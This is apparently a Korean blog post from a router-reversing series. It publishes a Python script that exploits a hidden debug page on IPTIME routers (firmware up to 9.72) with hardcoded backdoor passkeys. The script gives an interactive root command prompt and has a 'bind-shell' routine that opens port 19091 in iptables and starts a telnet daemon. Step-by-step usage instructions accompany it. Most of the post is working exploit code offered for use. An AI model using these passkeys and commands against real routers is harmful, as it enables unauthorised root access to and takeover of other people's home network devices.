티스토리 뷰
IPTIME 쉘 접근 및 telnet 접속 코드 / 프로그램 (버전 9.72)
코드 : https://github.com/zrkrbit/iptime (iptime-debug.py)
분석편 : http://jochiwon.tistory.com/5
python2 기반에서 만든 걸 python3버전으로 변경하고, 일부 오류수정 및 관리자 비밀번호 설정 시에도 사용 가능하도록 하였음.
내장되어 있는 텔넷 기능이 열리지 않으면 분석편 글을 참조할 것.
사용법 :
1. 공유기 관리 페이지 메인 화면에서 펌웨어 버전을 확인한다.
2. 시스템 관리 -> 기타 설정 -> 원격 지원을 "사용"으로 설정 후 저장한다.
3. 시스템 관리 -> 관리자 설정 -> 로그인 인증 방법 설정을 "기본방식"으로 설정 후 저장한다.
4. 코드를 실행한다. Python3과 requests 모듈이 설치되어 있어야 함.
Windows> python iptime-debug.py 공유기IP주소 펌웨어버전숫자 관리자ID 관리자PW
Other> python3 iptime-debug.py 공유기IP주소 펌웨어버전숫자 관리자ID 관리자PW
아이디와 비밀번호는 적지 않아도 무관하다. 펌웨어버전숫자는 9.12이하면 0, 그 이상이면 1.
모든 명령어는 /cgibin 에서 실행되고, cd 명령어는 사용해도 동작하지 않는다.
그리고 시스템에서 /sbin 과 /usr/bin 위치가 PATH로 등록되있지 않아 해당 디렉토리에 있는 명령어를 실행하려면 직접 해당 경로를 다 쳐주어야 함.
특정 명령어가 아무런 실행 결과도 반환하지 않는 경우가 있는데,
꼭 확인해야 한다면
명령어 2>> /tmp/etc/filename
식으로 rw로 mount되어 있는 파일시스템에 stderr를 쓴 다음 cat으로 읽어주면 된다.
확인해보니 디버그 페이지에서 stdout만 리턴하도록 되어 있었다.
import requests
import sys
pass_old = '#notenoughmineral^'
pass_new = '!@dnjsrurelqjrm*&'
userid = ''
userpw = ''
_Passname = 'aaksjdkfj'
_Passkey = ''
_dest = '/cgi-bin/d.cgi'
_setdest = '/cgi-bin/timepro.cgi'
_startParam = {_Passname : _Passkey }
_commandParam = {'act':'1','fname':'','cmd':''}
# REMOTE_SUPPORT MANAGEMENT SWITCH!
_enable = 'tmenu=sysconf&smenu=misc&act=remote_support&commit=&hostname=&autosaving=1&fakedns=0&nologin=0&wbm_popup=0&upnp=1&led_flag=0&ispfake=0&newpath=&remote_support=1&apcplan=1'
_disable = 'tmenu=sysconf&smenu=misc&act=remote_support&commit=&hostname=&autosaving=1&fakedns=0&nologin=0&wbm_popup=0&upnp=1&led_flag=0&ispfake=0&newpath=&remote_support=0&apcplan=1'
### chmod disabled!
_telnet_check = 'ls -al /sbin'
_permission_enable = '/bin/chmod 777 /sbin/iptables'
_permission_enable2 = '/bin/chmod 777 /sbin/utelnetd'
_telnet_enable_1 = '/sbin/iptables -A INPUT -p tcp --dport 19091 -j ACCEPT'
#_telnet_enable_1 = '/sbin/iptables -A INPUT -p tcp -m -tcp --dport 2323 -j ACCEPT'
_get_iptables = '/sbin/iptables --list'
_telnet_enable_2 = '/sbin/utelnetd -p 19091'
_demon_mode = 'cat /default/var/boa_vh.conf'
sess = requests.session()
def get(args):
return sess.get(url='http://%s%s' % (sys.argv[1], _dest), params=args).text
def startup():
x = _startParam.copy()
if get(x).find('Command Name : ') == -1:
print ("[x] Not vulnerable machine! cannot access debugging page.")
exit(0)
print ("[o] Debugging page exist!")
def deleteChunk(ref):
findx = ref.find('<font size=-1>')
ref = ref[findx:]
ref = ref.replace('<font size=-1>','')
ref = ref.replace('\n</font><br>','')
return ref
def bind_shell():
x =_commandParam.copy()
x['cmd'] = _telnet_check
ref = get(x)
findx = ref.find('<font size=-1>')
ref = ref[findx:]
ref = ref.replace('<font size=-1>','')
ref = ref.replace('\n</font><br>','')
if ref.find('utelnetd') == -1:
print ('[x] OOPS! Could not found telnet demon.')
print ('[x] no exploitable -.-')
exit(0)
x['cmd'] = _demon_mode
ref = deleteChunk(get(x))
if ref.find('root') == -1:
print ('[x] OOPS! httpd demon is not running at root.')
print ('[x] no exploitable -.-')
else:
print ('[!] Exploitable! we start working...')
x =_commandParam.copy()
sys.stdout.write('[!] Setting up iptables... ')
x['cmd'] = _telnet_enable_1
ref = get(x)
x['cmd'] = _get_iptables
ref = deleteChunk(get(x))
if ref.find('19091') == -1 :
sys.stdout.write('Failed!')
return
sys.stdout.write('OK!')
print ('')
print ('[!] Working telnet demon server...')
x['cmd'] = _telnet_enable_2
get(x)
print ('[o] Binding shell command executed. check it yourself. (port:19091)')
def showcmd(cmd):
x = _commandParam.copy()
x['cmd'] = cmd
ref = get(x)
t = deleteChunk(ref)
if t == '>' : return()
print (t)
if __name__ == '__main__':
print ('[iptime-debug.py] - Directiry Debugging IPTIME python module - command eXecuter!')
print ('Support : IPTIME 7.?? - 9.72')
print ('Copyright : jochiwon.tistory.com\n')
print ('firmware_version : (~ 9.12 = 0) / (9.14 ~ 9.72 = 1)')
print ('Type "exit" to exit, "bind-shell" to bind telnet connection to port 2323. (deprecated)')
if len(sys.argv) < 3:
print ('\n>>> python3 hostname firmware_version [userid] [userpw]\n')
print('firmware_version : (~ 9.12 = 0) / (9.14 ~ 9.72 = 1)')
exit(0)
sys.argv[1] = sys.argv[1].replace('http://','')
sys.argv[1] = sys.argv[1].replace('/','')
if int(sys.argv[2]) is 0:
_Passkey = pass_old
else:
_Passkey = pass_new
try:
userid = sys.argv[3]
userpw = sys.argv[4]
sess.auth = (userid, userpw)
except:
pass
_commandParam['aaksjdkfj'] = _Passkey
while True:
sys.__stdout__.write (sys.argv[1] + '> ')
x = input()
if x == 'exit': exit(0)
elif x == 'bind-shell': bind_shell()
elif x != '' : showcmd(x)
'Reversing > IOT, Router' 카테고리의 다른 글
IPTIME - 펌웨어 분석, 쉘 접근 및 telnet 접속 (버전 9.72) (1) | 2016.04.13 |
---|